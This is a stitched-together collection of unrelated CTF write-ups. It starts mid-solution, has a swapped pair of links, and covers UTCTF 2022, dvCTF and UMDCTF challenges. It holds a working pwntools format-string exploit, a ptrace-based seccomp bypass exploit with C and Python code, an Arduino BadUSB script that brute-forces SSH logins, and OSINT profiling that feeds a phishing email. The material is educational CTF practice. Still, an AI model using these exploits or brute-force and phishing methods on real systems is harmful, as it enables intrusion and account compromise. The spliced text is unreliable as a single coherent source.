Second, the value of xor is 0 for a bit when the two input bits are 0. Thus, the number of trailing zeroes off an xor is equivalent to the number of common trailing bits.
Hence, we can use the first input to brute force the lower 4 bits of k1 and k2. To do this, we can send the string "0123456789:;<=>?", where each byte covers one of 16 possibilities.
Combining the two facts from earlier, if we analyze the output as a 16 by 16 grid, the raw count at (row i, column j) represents common_trailing_bits(k1, input_byte[i]) + common_trailing_bits(k2, input_byte[j]). Since we have all possible input bytes, that means that the minimum count at row i is the number of common trailing bits of k1 and input_byte[i]. The minimum count at column j is the number of common trailing bits of k2 and input_byte[j].
As a result, one input byte will share at least 4 common trailing bits with k1 and one input byte will share at least 4 common trailing bits with k2.
The second input can be used to brute force the rest of k1 and k2. Since, we need to brute force over both k1 and k2, we will split our input string in half. The first 8 bytes we send will cover one of 8 possibilities for k1 and the last 8 bytes will cover one of the 8 possibilities for k2.
This means that we can get the next 3 bits of k1 and k2 using the same method as was used for getting the bottom 4 bits. However, it is important to realize that the search space is narrowed down from a 16 by 16 grid to an 8 by 8 grid. This is because 8 columns represent the bytes for k1 and 8 columns represent the bytes for k2.
Finally, our brute force only guarantees 7 bits of each key. We get all 8 bits of a key if its most significant bit is a 0. So, the last step is to check if we need to set the msb for either key to a 1.
After we repeat this hash-cracking process 100 times, we receive the flag.
[Solution Script - failhash.py](https://github.com/csn3rd/UTCTFWriteups/blob/main/failhashfunction_out.txt)
[Solution Ouput - keys and flags](https://github.com/csn3rd/UTCTFWriteups/blob/main/failhash.py)
Flag: `utflag{Ju5t_u53_SHA256_LoLc4t5_9a114be7f}` |
# UTCTF 2022 Public Panic (Category: Misc)The challenge is the following,

Accessing `misc2.utctf.live:8756` showed us the website for `Sagishi Tech`.




This challenge tells us to use open source intelligence, and the team section of the website caught my eye, as each team member's images contained the links to their Twitter accounts.

Sagishi Tech team members listed on their website:
- Sherman Kern (CEO): https://twitter.com/kern_sherman- Neil Cline (Product Manager): https://twitter.com/NeilCline9- Britt Bryant (CTO): https://twitter.com/BrittBryant18- Robyn Swanson (Accountant): https://twitter.com/RobynSwanson96
Their Twitter account looks like the following,

I've scrolled through their Tweets, but couldn't find anything interesting. So I decided to look at who they are following, (I ignored their followers as anyone on Twitter can follow them)

From here, we can see that there are some members of Sagishi Tech that weren't listed on their website. These new employees I found from the original team member's followings list are:
- Craig Wallace (Chief Information Security Officer): https://twitter.com/CraigWa09526548- Cliff Shackleford (Marketing): https://twitter.com/CliffShacklefo1- Debby Uselton (Marketing): https://twitter.com/DebbyUselton
Their Twitter accounts look like the following,

And their following list looks like the following,

From here, I found more members of Sagishi Tech, who are:
- Wade Coldwater (Marketing): https://twitter.com/WadeColdwater- Claude Castillo (Marketing): https://twitter.com/ClaudeCastill18- Sidney Jaggers (Marketing): https://twitter.com/JaggersSidney- Misty Booker (Marketing): https://twitter.com/MistyBooker99
And their Twitter accounts look like the following,

Their following list doesn't contain any new members of Sagishi Tech, so the full list of Sagishi Tech members are:- Sherman Kern (CEO): https://twitter.com/kern_sherman- Neil Cline (Product Manager): https://twitter.com/NeilCline9- Britt Bryant (CTO): https://twitter.com/BrittBryant18- Robyn Swanson (Accountant): https://twitter.com/RobynSwanson96- Craig Wallace (Chief Information Security Officer): https://twitter.com/CraigWa09526548- Cliff Shackleford (Marketing): https://twitter.com/CliffShacklefo1- Debby Uselton (Marketing): https://twitter.com/DebbyUselton- Wade Coldwater (Marketing): https://twitter.com/WadeColdwater- Claude Castillo (Marketing): https://twitter.com/ClaudeCastill18- Sidney Jaggers (Marketing): https://twitter.com/JaggersSidney- Misty Booker (Marketing): https://twitter.com/MistyBooker99
In [Wade Coldwater's Twitter](https://twitter.com/WadeColdwater), there is [one interesting Tweet](https://twitter.com/WadeColdwater/status/1501031410244669446), which is

We can see that the flag is written on the whiteboard. Therefore the flag is,
`utflag{situational_awareness_is_key}` |
When I downloaded the [doc file](https://github.com/mar232320/ctf-writeups/raw/main/davinci/2022/verybadscript.doc)I opened it in libre office without executing the macro. I copied the macro code and started to reverse-engineer itThe [macro](https://github.com/mar232320/ctf-writeups/raw/main/davinci/2022/macro.vba) was obfuscated. I renamed the random function names and got the partly [deobfuscated macro](https://github.com/mar232320/ctf-writeups/raw/main/davinci/2022/makro.vba) with xor decrypting function. I modified the macro to display the xor passwordwhich turned out to be`Qx7BM0v9GDD2YYgfAxtWm2CShiUx2ikHTazpgtf90bEGuUwk46nFlDwmJFfGuLcFxp30f7iQpYIogbVhjqV9Us03sJNQqFTrViarTSJzNBnXY5rFYy6QVxwqfqQrAKUHa3PBu81C4zT4YRE3jX8lFiNQ7JHQBVuXAEQXIajamj1EDqa9n34eHZ7y0XbfuxPt7pMjWo7Jm0btMvzatyCPbZjczioyr3RbIbZDklpZDvbZdKnjKZroMg6EzZA1y2`
I made a [python script](https://github.com/mar232320/ctf-writeups/raw/main/davinci/2022/vbsolver.py) to decrypt all the xor strings in the macro and there I found that the macro doesn't do anything malicious but sends a message with the flag via post request to `http://dvc.tf:9001`
[final.vba](https://github.com/mar232320/ctf-writeups/raw/main/davinci/2022/final.vba)
# dvCTF{vb4_0bfu5c4710n_5h3n4n164n5} |
# UTCTF 2022 Public Panic P2(Category: Misc)The challenge is the following,

We are told that we should use what we found in [Public Panic P1](https://github.com/LambdaMamba/CTFwriteups/tree/main/UTCTF_2022/misc/public_panic) for this challenge.
In [Public Panic P1](https://github.com/LambdaMamba/CTFwriteups/tree/main/UTCTF_2022/misc/public_panic), we found a picture of the flag on the whiteboard.

If we look closely, we can also see what seems to be a default password, which is:
`defaultpw5678!`

Now our task is to get onto their system using,
`ssh [email protected] -p 8622`
Since we have the password, we will need to find an account that uses this default password.
From the previous challenge, I gathered all the following employee information of Sagishi Tech:- Wade Coldwater (Marketing): https://twitter.com/WadeColdwater- Debby Uselton (Marketing): https://twitter.com/DebbyUselton- Claude Castillo (Marketing): https://twitter.com/ClaudeCastill18- Cliff Shackleford (Marketing): https://twitter.com/CliffShacklefo1- Sidney Jaggers (Marketing): https://twitter.com/JaggersSidney- Misty Booker (Marketing): https://twitter.com/MistyBooker99- Craig Wallace (Chief Information Security Officer): https://twitter.com/CraigWa09526548- Sherman Kern (CEO): https://twitter.com/kern_sherman- Neil Cline (Product Manager): https://twitter.com/NeilCline9- Britt Bryant (CTO): https://twitter.com/BrittBryant18- Robyn Swanson (Accountant): https://twitter.com/RobynSwanson96
I looked all over their Twitter accounts, but couldn't find any tweets or pictures that could contain hints to their username. I've also tried their Twitter usernames, but that did not work. Therefore, I assumed that their account usernames have to do with their names.
I went to [Active Directory User Naming conventions](https://activedirectorypro.com/active-directory-user-naming-convention/), and saw the following,

So I assumed that the usernames conventions might be one of the following:
1. Complete first name plus last name2. Initial of first name and complete last name3. First three characters of the first name and first three of last name4. Three random letters and three numbers
I felt that 4 could be ruled out because I couldn't find much information about the random letters and numbers using OSINT for the Sagishi Tech employees.
So I went ahead and constructed a list of the possible usernames for each of the Sagishi Tech members in [usernames.txt](./usernames.txt), which looks like the following:
```wadecoldwaterwade.coldwaterwade_coldwaterwcoldwaterwadcol
debbyuseltondebby.useltondebby_useltonduseltondebuse
claudecastilloclaude.castilloclaude_castilloccastilloclacas
cliffshacklefordcliff.shacklefordcliff_shacklefordcshacklefordclisha
sidneyjaggerssidney.jaggerssidney_jaggerssjaggerssidjag
mistybookermisty.bookermisty_bookermbookermisboo
craigwallacecraig.wallacecraig_wallacecwallacecrawal
shermankernsherman.kernsherman_kernskernsheker
neilclineneil.clineneil_clinenclineneicli
brittbryantbritt.bryantbritt_bryantbbryantbribry
robynswansonrobyn.swansonrobyn_swansonrswansonrobswa```
Now, we just need to `ssh [email protected] -p 8622` to test all the possible usernames. I didn't want to manually ssh all of these usernames, and I wasn't too familiar with tools that automates login attempts on the command line. Luckily, I had a [Arduino BadUSB Keystroke Injector I made some time ago](https://dev.to/lambdamamba/a-badusb-that-is-pretty-useful-making-a-keystroke-injector-in-arduino-that-can-crack-passwords-using-brute-force-3e77) next to me, so I decided to use that. I wrote an Arduino program [brute_ssh.ino](./brute_ssh/brute_ssh.ino), which injects Keystrokes into the command line after turning on the switch. There will be a 5 second delay between each password attempt, and will try the passwords `defaultpw5678!`, `defaultpw5678`, and `5678!`. Also, there will be a 2 seconds delay between each username attempt. It will try all 3 passwords for each username in [usernames.txt](./usernames.txt).A section of [brute_ssh.ino](./brute_ssh/brute_ssh.ino) looks like the following,
```#include "Keyboard.h"
int switchPin = 9;int switchstate = 0;
void setup() { Keyboard.begin(); pinMode(switchPin, INPUT);}
void loop() { switchstate = digitalRead(switchPin); //Start inputting into the CMD after turning the switch on if (switchstate == HIGH){ Keyboard.println("ssh [email protected] -p 8622"); delay(2000); Keyboard.println("defaultpw5678!"); delay(5000);
Keyboard.println("defaultpw5678"); delay(5000);
Keyboard.println("5678!"); delay(5000);
Keyboard.println("ssh [email protected] -p 8622"); delay(2000); Keyboard.println("defaultpw5678!"); delay(5000);
Keyboard.println("defaultpw5678"); delay(5000);
Keyboard.println("5678!"); delay(5000);
Keyboard.println("ssh [email protected] -p 8622"); delay(2000); Keyboard.println("defaultpw5678!"); delay(5000);
Keyboard.println("defaultpw5678"); delay(5000);
Keyboard.println("5678!"); delay(5000);
Keyboard.println("ssh [email protected] -p 8622"); delay(2000); Keyboard.println("defaultpw5678!"); delay(5000);
Keyboard.println("defaultpw5678"); delay(5000);
Keyboard.println("5678!"); delay(5000);
Keyboard.println("ssh [email protected] -p 8622"); delay(2000); Keyboard.println("defaultpw5678!"); delay(5000);
Keyboard.println("defaultpw5678"); delay(5000);
Keyboard.println("5678!"); delay(5000); ...```(If anyone is interested in making a Arduino Keystroke Injector, please check out [my tutorial](https://dev.to/lambdamamba/a-badusb-that-isnt-so-bad-making-a-keystroke-injector-in-arduino-that-automates-gathertown-movements-41jm))
The following shows the sped up demo of the [Brute Force keystroke injector](https://github.com/LambdaMamba/KeystrokeInjection):

The [full video can be found here in my Youtube channel](https://youtu.be/C51PT2RJHn4).
I successfully logged into the server using the following credentials:
- Username: `cshackleford`- Password: `defaultpw5678!`
And once I logged into the server, I did `ls`, and saw that there was a file named `flag.txt`. The contents were,

Therefore, the flag is:
`utflag{conventions_knowledge_for_the_win}`
|
# WriteupIf we interact with the server:
```$ nc pwn.utctf.live 5002 You will be given 10 randomly generated binaries.You have 60 seconds to solve each one.Solve the binary by making it exit with the given exit codePress enter when you're ready for the first binary.```
After pressing enter, we're given a small binary in hexdump format.
We copy it in a file ```random_0.hex``` and get the actual ELF with:
```$ xxd -r random_0.hex > random_0```
Now, we can guess that the randomly generated binaries are similar among them, the randomness will be in some input-modifying function.
So we analyze the obtained executable file:
```$ file random_0random_0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=335c472b5b0059a4d4826b6c1f8218d59e757ff0, for GNU/Linux 3.2.0, not stripped
$ checksec random_0 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
$ ltrace ./random_0 fgets(AAAAAAAAAAA"AAAAAAAAAAA\n", 514, 0x7f380aa14800) = 0x7ffcc61b7380printf("") = 0exit(0 <no return ...>+++ exited (status 0) +++```
It has some protections enabled, and it basically ```fgets``` at most 514 bytes of data, then performs a ```printf```.
If we decompile it with Ghidra, we can see that the binary performs these actions:
``` fgets((char *)&local_218,0x202,stdin); permute((long)&local_218); printf((char *)&local_218); exit(exit_code);```
So, it's clearly the case of a format string attack; our ltrace showed that the printf had a null string as parameter because there is input permutation, which in this case has put a null byte at the start of the buffer.
The ```exit_code``` is a global variable, so the idea is to perform the format string attack to overwrite it with the exit code given alongside the binary.
The ```permute``` function calls 8 permutation sub-functions in random order, for example:
```void permute(long param_1)
{ permute2(param_1); permute3(param_1); permute6(param_1); permute7(param_1); permute4(param_1); permute1(param_1); permute8(param_1); permute5(param_1); return;}```
A combination of permutations is still a permutation, so we can get a complete mapping ```position i -> position j``` by executing the program locally many times (we don't need to use angr to solve this task).
The first thing to do is to patch the binary to develop a working exploit, without permutation; so we basically replace the call to ```permute``` in ```main``` with a sequence of NOP instructions.
We save the patched binary into ```random_0_patched``` and developed the exploit for it (it wanted 168 as exit code):
```def test_exploit_patched(): elf = ELF("./random_0_patched") context.binary = elf addr = elf.symbols['exit_code'] val = 168 # target_payload = fmtstr_payload(8, {addr: val}) target_payload = f"%{val}c%10$n".encode() target_payload += b'A' * (16 - len(target_payload)) target_payload += p64(addr) print(target_payload) r = elf.process() r.sendline(target_payload) _exit_code = r.poll(block=True) print(_exit_code)```
Now that we have a working exploit, we need a function to get the permutation map, so that the executable will put the characters of the exploit in the right positions.
The permutation map can be obtained very fast by starting the executable a few times, but I went for an easy, non-optimized function:
```def get_permutation_map(filename): mapping = {} for i in range(0x202): payload = "_" * i + "A" + "_" * (0x202 - i - 1) r = process([filename]) r.sendline(payload) res = r.recv().decode() r.close() try: pos = res.index('A') mapping[pos] = i except: pass return mapping```
It's quick and dirty and it obtains just a single mapping for every execution (so, 514 processes for full mapping), but it does the job.
Now we can put the pieces together and test the exploit on the original binary:
```def test_exploit(): filename = "./random_0" elf = ELF(filename) context.binary = elf addr = elf.symbols['exit_code'] val = 168 target_payload = f"%{val}c%10$n".encode() target_payload += b'A' * (16 - len(target_payload)) target_payload += p64(addr) mapping = get_permutation_map(filename) exploit = [b'_' for _ in range(0x202)] for i in range(len(target_payload)): exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little') exploit = b"".join(exploit) r = elf.process() r.sendline(exploit) _exit_code = r.poll(block=True) print(_exit_code)```
It's quite slow, but it works; the last thing to do is to automate the interaction with the remote service, to get the binary, decode it, make it executable, get the desired exit code, get the permutation mapping and craft the final exploit, then repeat this for 10 times. An implementation issue is that we have to make sure that the ```fgets``` of a binary reads all our input, otherwise the ```fgets``` of the next binary will read some non-flushed input and the exploit will not work. To overcome this issue, we have to truncate our exploit payload to the minimum length required to perform the format string attack (i.e., we must not add padding to reach 514 bytes).
```from pwn import *import osimport time
...
def get_permutation_map(filename): ...
def main(): r = remote("pwn.utctf.live", 5002) r.sendlineafter('binary.\n', '') for k in range(10): data = r.recvrepeat(2).decode().split('\n\n') start = time.time() binary = data[0] ind = binary.index("00000000:") binary = binary[ind:] with open("random_bin.hex", 'w') as f: f.write(binary) os.system("xxd -r random_bin.hex > random_bin") os.system("chmod +x random_bin") val = int(data[1].split('\n')[1].split(' ')[-1]) filename = "./random_bin" elf = ELF(filename) context.binary = elf addr = elf.symbols['exit_code'] target_payload = f"%{val}c%10$n".encode() target_payload += b'A' * (16 - len(target_payload)) target_payload += p64(addr) mapping = get_permutation_map(filename) exploit = [b'_' for _ in range(0x201)] _max = 0 for i in range(len(target_payload)): exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little') if mapping[i] > _max: _max = mapping[i] exploit = b"".join(exploit)[:_max+1] elapsed = time.time() - start print(f"{exploit = }") print(f"{val = }") print(f"{elapsed = }") r.sendline(exploit) r.interactive()```
By running it, we obtain:
```$ python script.py...exploit = b'______________________________________________________________________________________________________________________________________________________________________________________________________A%5c%10$nAAAAAAA_\\@@\x00\x00\x00\x00\x00'val = 5elapsed = 8.956268072128296[*] Switching to interactive modeProcess exited with return code 5Congrats!utflag{you_mix_me_right_round_baby_right_round135799835}```
|
[Original writeup](https://github.com/LambdaMamba/CTFwriteups/tree/main/UTCTF_2022/forensics/sounds_familiar) (https://github.com/LambdaMamba/CTFwriteups/tree/main/UTCTF_2022/forensics/sounds_familiar)
|
[Original writeup source](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#osint-full).
---
So this one looks to be full blown OSINT. All we're given is "EddKing6", a supposed username.
Doing a duckduckgo search for specifically that term (i.e searching for "EddKing6", with quotes) [yields a frew interesting results](https://duckduckgo.com/?q=%22eddking6%22&atb=v247-1&ia=web):
* [Edd King Github profile](https://github.com/eddking6)* [Edd King Twitter](https://twitter.com/eddking6)* [Edd King github repo "DogFeedScheduler"](https://github.com/eddking6/DogFeedScheduler)
Looking at his Github profile:

His bio has one of the challenge's answers:
> His favorite food?: "I love walking my dog and eating **Cacio e Pepe**."
Checking the DogFeedScheduler repo, we see the [most recent commit was for "added email functionality"](https://github.com/eddking6/DogFeedScheduler/commit/e76f938adc53997b4ed9769e2b1e103793f0b4ea).
In that commit, we see the following code block:
``` go {linenos=true,linenostart=15}func sendmail(srv gmail.Service, frommail string) { temp := []byte("From: 'me'\r\n" + "reply-to: [email protected]\r\n" + "To: [email protected]\r\n" + "Subject: Feed Spot \r\n" + "remember to feed spot")```
From this blob, we can see two more answers:
> His Email?: **[email protected]**> The name of his dog?: **spot**
There isn't much more in the Github repo that I saw, so now to check his [Twitter](https://twitter.com/eddking6). His bio states:
> I like hacking things and running blob corp
So, we know he works at a "blob corp". Searching through his small tweet history, the [following tweet](https://twitter.com/eddking6/status/1498113770652065798?s=20&t=vYcOibKHA3cJZxztwKHTrA) reveals two more answers:
> eddking6: I like to play FactorIO when I'm not busy being a #CISO
So:
> His favourite video game?: **FactorIO**> His Role at his company?: **CISO**
All that's left is his Alma Matter. Given we know his company and role, I imagine we need to search for them on LinkedIn. Searching "eddking linkedin ciso blob corp" yields a [eddking6](https://www.linkedin.com/in/eddking6/) linkedin page, which is indeed our man. In his education, we see the final answer.
> His alma matter?: **Texas A&M University**.
Now all we have to do is "... send him a carefully crafted phishing email including all the details."
I figured we didn't have to actually craft a phising email or anything like that, given how many solves the challenge had, and other problem difficulties. Instead, I figured they'd be doing some sort of regex matching/searching on the messages contents, so I just made sure to re-use all the spelling/capitlization of the previous answers and send an email to the `[email protected]` email. The body of my email:
```textFind out the following information about EddKing6
The name of his dog? spot
His favourite video game? FactorIO
His alma mater? Texas A&M University
His Role at his company? CISO
His favorite food? Cacio e Pepe
His Email? [email protected]```
In about 10 seconds, I got an email back:

Flag is `utflag{osint_is_fun}`. |
# UTCTF 2022 Baby Shark P2 (Category: Beginner)The challenge is the following,

Here, we are given the file [baby_shark2.pcap](./baby_shark2.pcap). The challenge description says `I was able to capture some ftp traffic in this pcap. I wonder if there is any good info here.`, so we will look at the ftp traffic.
Opening this up on Wireshark shows the following,

FTP packet 19 shows,
`PASS utflag{sharkbait_hoo_ha_ha}`
Therefore, the flag is,
`utflag{sharkbait_hoo_ha_ha}` |
# UMDCTF 2022
## Tracestory
> I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?>> **Author**: WittsEnd2>> `0.cloud.chals.io 15148`>> [`trace_story`](trace_story)
Tags: _pwn_ _x86-64_ _ptrace_ _shellcode_ _seccomp_
## Summary
This challenge is not dissimilar to other _run-my-shellcode_ challenges, however the shellcode is used to inject shellcode into the existing program text of a child process to bypass seccomp constraints.
The seccomp allow list has no `read`/`write`, however the gift of `ptrace` (and `gettimeofday`) is all we need since the child process is forked before the seccomp filters are set (IOW, we can use the child process for I/O).
You can proof-of-concept this in GDB then use that to craft a `ptrace` payload.
This challenge is a great way to learn about `ptrace`. If new to `ptrace` consider reading [https://www.linuxjournal.com/article/6210](https://www.linuxjournal.com/article/6210)--it's 20 years old, but it's still spot on and very useful.
> There are multiple ways to solve this. Below is just _one_ way (and below that is a second way).
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE will make [hot] patching with `ptrace` very easy.
### Ghidra Decompile
```cundefined8 main(void){ uint uVar1; code *pcVar2; long in_FS_OFFSET; undefined local_1018 [4104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); memcpy(local_1018,"Finishing\n",0xb); uVar1 = fork(); if (uVar1 == 0) { read_story(); } if (debug != 0) { printf("[DEBUG] child pid: %d\n",(ulong)uVar1); } pcVar2 = (code *)read_input(); setup_seccomp(); (*pcVar2)(); printf("%s",local_1018); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } __stack_chk_fail();}```
As stated in the summary above, this is a shellcode runner challenge, but with seccomp constraints.
If there is a vuln, it'd be forking _before_ `setup_seccomp`.
`main` forks and calls `read_story` from the child process, the parent reads in our shellcode, calls `setup_seccomp`, then executes our code constrained by seccomp filters:
```bash# seccomp-tools dump ./trace_story[DEBUG] child pid: 28378Input:
line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x18 0xc000003e if (A != ARCH_X86_64) goto 0026 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x15 0xffffffff if (A != 0xffffffff) goto 0026 0005: 0x15 0x13 0x00 0x00000003 if (A == close) goto 0025 0006: 0x15 0x12 0x00 0x00000004 if (A == stat) goto 0025 0007: 0x15 0x11 0x00 0x00000005 if (A == fstat) goto 0025 0008: 0x15 0x10 0x00 0x00000006 if (A == lstat) goto 0025 0009: 0x15 0x0f 0x00 0x0000000a if (A == mprotect) goto 0025 0010: 0x15 0x0e 0x00 0x0000000c if (A == brk) goto 0025 0011: 0x15 0x0d 0x00 0x00000015 if (A == access) goto 0025 0012: 0x15 0x0c 0x00 0x00000018 if (A == sched_yield) goto 0025 0013: 0x15 0x0b 0x00 0x00000020 if (A == dup) goto 0025 0014: 0x15 0x0a 0x00 0x00000021 if (A == dup2) goto 0025 0015: 0x15 0x09 0x00 0x00000038 if (A == clone) goto 0025 0016: 0x15 0x08 0x00 0x0000003c if (A == exit) goto 0025 0017: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0025 0018: 0x15 0x06 0x00 0x00000050 if (A == chdir) goto 0025 0019: 0x15 0x05 0x00 0x00000051 if (A == fchdir) goto 0025 0020: 0x15 0x04 0x00 0x00000060 if (A == gettimeofday) goto 0025 0021: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0025 0022: 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0025 0023: 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0025 0024: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0026 0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0026: 0x06 0x00 0x00 0x00000000 return KILL```
This allow list has a number of useful syscalls, however `ptrace` is all we need to control the child process (that is _not_ constrained by seccomp filters).
### Solve
The child process is executing this loop:
```c do { uVar1 = getpid(); if ((uVar1 & 1) == 0) { __fd = open("readstory.txt",0); if (__fd == 0) { if (debug != 0) { puts("Error when reading story."); } exit(1); } sVar2 = read(__fd,local_1018,0x1000); if (sVar2 == 0) { if (debug != 0) { puts("Didn\'t read anything."); } exit(1); } close(__fd); } sleep(1); } while( true );```
The challenge description, _I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?_, implies we should get to the end of the story, so I patch this code to effectively be:
```c do { uVar1 = getpid(); if ((uVar1 & 1) == 0) { __fd = open("readstory.txt",0); if (__fd == 0) { if (debug != 0) { puts("Error when reading story."); } exit(1); } sVar2 = read(__fd,local_1018,0x1000); puts(local_1018); close(__fd); } sleep(1); } while( true );```
This will dump [`readstory.txt`](readstory.txt) to `stdout`, and yes, it is cut off, so I modified the patch to read `0x2000` bytes vs. `0x1000`, and _yes!_ I have the entire story, however, no flag.
> I also used `write` to dump out the stack, just to check if on stack, e.g. in environmental variables. It was not clear what _trying to figure out the end of this story_ really meant.
Next I tried to replace `readstory.txt` with `flag.txt` and then `flag`. `flag` worked; final patch is effectively:
```c do { uVar1 = getpid(); if ((uVar1 & 1) == 0) { __fd = open("flag",0); if (__fd == 0) { if (debug != 0) { puts("Error when reading story."); } exit(1); } sVar2 = read(__fd,local_1018,0x1000); puts(local_1018); close(__fd); } sleep(1); } while( true );```
The `flag` is emitted over and over in a loop every second.
The patch is surprisingly simple in assembly.
This is the stack of the child process right after the `read` statement:
```0x00007fffb5654fa0│+0x0000: 0x0000000300006ee2 ← $rsp0x00007fffb5654fa8│+0x0008: 0x00000000000010000x00007fffb5654fb0│+0x0010: "First and foremost, I just need to assert what was" ← $rsi0x00007fffb5654fb8│+0x0018: "d foremost, I just need to assert what was right a[...]"0x00007fffb5654fc0│+0x0020: "st, I just need to assert what was right and what [...]"0x00007fffb5654fc8│+0x0028: "st need to assert what was right and what was wron[...]"0x00007fffb5654fd0│+0x0030: "to assert what was right and what was wrong. I thi[...]"0x00007fffb5654fd8│+0x0038: "t what was right and what was wrong. I think, befo[...]"```
As expected `rsi` is pointing to the `readstory.txt` text.
> Above is what remote would look like, locally you've have created your own `readstory.txt` with some other content.
All that is required to patch is to `nop` then `mov rdi, rsi` just before the `puts`:
```assembly 4017fd: e8 de f9 ff ff call 4011e0 <read@plt>
401802: 48 89 85 e8 ef ff ff mov QWORD PTR [rbp-0x1018],rax 401809: 48 83 bd e8 ef ff ff cmp QWORD PTR [rbp-0x1018],0x0 401810: 00 401811: 75 1e jne 401831 <read_story+0xcf> 401813: 8b 05 9f 28 00 00 mov eax,DWORD PTR [rip+0x289f] # 4040b8 <debug> 401819: 85 c0 test eax,eax 40181b: 74 0a je 401827 <read_story+0xc5> 40181d: bf 39 20 40 00 mov edi,0x402039
401822: e8 49 f9 ff ff call 401170 <puts@plt>```
The 32-bytes `0x401802`-`0x401821` just need to be replaced with `nop` and `mov rdi, rsi`:
```assembly 4017fd: e8 de f9 ff ff call 4011e0 <read@plt> nop nop ... mov rdi, rsi 401822: e8 49 f9 ff ff call 401170 <puts@plt>```
Patching out the `exit` after the `puts`, and `flag` for `readstory.txt` is equally as trivial.
The only other thing to consider is:
```c do { uVar1 = getpid(); if ((uVar1 & 1) == 0) {```
If the child PID is not even, then nothing happens. This can be patched out, however it did not work for me remotely, only locally. So, for remote I check for the PID as even and retry if not even.
## Exploit Development
Above I stated you could proof-of-concept this in GDB and then write the exploit. However, there was one more step for me, and that was to write a C version ([hotpatch.c](hotpatch.h)) to test my ideas before investing time in a shellcode version:
```c#include <stdio.h>#include <stdlib.h>#include <sys/ptrace.h>#include <sys/types.h>#include <sys/wait.h>#include <unistd.h>#include <sys/user.h>
int main(int argc, char *argv[]){ pid_t pid; struct user_regs_struct regs; unsigned long ins; unsigned long addr = 0x401802; unsigned long addr_exit = 0x401827; unsigned long txt = 0x402011;
if (argc != 2) { printf("usage: %s [pid]\n", argv[0]); return 1; }
pid = atoi(argv[1]); ptrace(PTRACE_ATTACH, pid, NULL, NULL); //wait(NULL); sleep(1);
ptrace(PTRACE_GETREGS, pid, NULL, ®s;; printf("rip: %llx\n",regs.rip);
//puts after read patch ptrace(PTRACE_POKETEXT, pid, addr, 0x9090909090909090); ptrace(PTRACE_POKETEXT, pid, addr+8, 0x9090909090909090); ptrace(PTRACE_POKETEXT, pid, addr+16, 0x9090909090909090); ptrace(PTRACE_POKETEXT, pid, addr+24, 0xf789489090909090);
//patchout exit ptrace(PTRACE_POKETEXT, pid, addr_exit+0, 0x9090909090909090); ptrace(PTRACE_POKETEXT, pid, addr_exit+2, 0x9090909090909090);
//readstory.txt is now flag ptrace(PTRACE_POKETEXT, pid, txt, 0x67616c66);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return 0;}```
`wait` is the proper way to, well, _wait_ for the signal that `ptrace` attach is complete. However I could not find a way to call `wait` (I really didn't spend a lot of time on it). So I tested with `sleep` since I could craft one with `gettimeofday`.
The `0x9090...` integer is really a bunch of `nop`s with the exception of the `mov rdi, rsi` instruction and the change to `flag`.
> See below for how to assemble in `python` and generate these numbers.
To test, just run the challenge binary (until you get an even PID):
```bash# ./trace_story[DEBUG] child pid: 28486Input:```
Then in a different terminal run the hotpatch:
```bash# ./hotpatch 28486rip: 7f8ad958e334```
Then check your first terminal:
```bash# ./trace_story[DEBUG] child pid: 28486Input:flag{flag}oremost, I just need ......```
You'll need to first create both `readstory.txt` and `flag` files. Also note that `flag` overwrites `readstory.txt`. The read buffer is not initialized.
With this POC in hand, creating the shellcode was trivial.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./trace_story', checksec=False)
while True: if args.REMOTE: p = remote('0.cloud.chals.io', 15148) else: p = process(binary.path)
p.recvuntil(b'child pid: ') pid = int(p.recvline().strip().decode(),10)
if pid & 1 == 0: break if not args.REMOTE: break
# hack, force new connection to shake things up and perhaps get even on next attemp if 's' in locals(): s.close() s = remote('0.cloud.chals.io', 15148) log.info('PID {x} is not even, starting over...'.format(x = pid)) p.close()```
Mostly standard pwntools header with the following additions:
1. If the PID is even OR if local, then `break` and move on.2. I found that the remote is either always even or always odd with serial attempts. Clearly it'd be more chaotic if multiple users hitting the service, however while writing this write up, I noticed it was one or the other. I could break up the odd streak with an `nc` command in a different terminal window, but opted to automate with the `s = remote...`--same effect.
```python# use ptrace to patch out right after read to just call puts''' 4017fd: e8 de f9 ff ff call 4011e0 <read@plt>
401802: 48 89 85 e8 ef ff ff mov QWORD PTR [rbp-0x1018],rax 401809: 48 83 bd e8 ef ff ff cmp QWORD PTR [rbp-0x1018],0x0 401810: 00 401811: 75 1e jne 401831 <read_story+0xcf> 401813: 8b 05 9f 28 00 00 mov eax,DWORD PTR [rip+0x289f] # 4040b8 <debug> 401819: 85 c0 test eax,eax 40181b: 74 0a je 401827 <read_story+0xc5> 40181d: bf 39 20 40 00 mov edi,0x402039
401822: e8 49 f9 ff ff call 401170 <puts@plt>'''
# also patch out exit after puts''' 401827: bf 01 00 00 00 mov edi,0x1 40182c: e8 0f fa ff ff call 401240 <exit@plt>'''
# code just nops and then moves rsi to rdi for the puts callpatch = asm(f'''mov rdi, rsi''')
patch = (0x401822 - 0x401802 - len(patch)) * asm('nop') + patchassert(len(patch) == 32)patches = [ u64(bytes(patch[i*8:(i+1)*8])) for i in range(4) ]
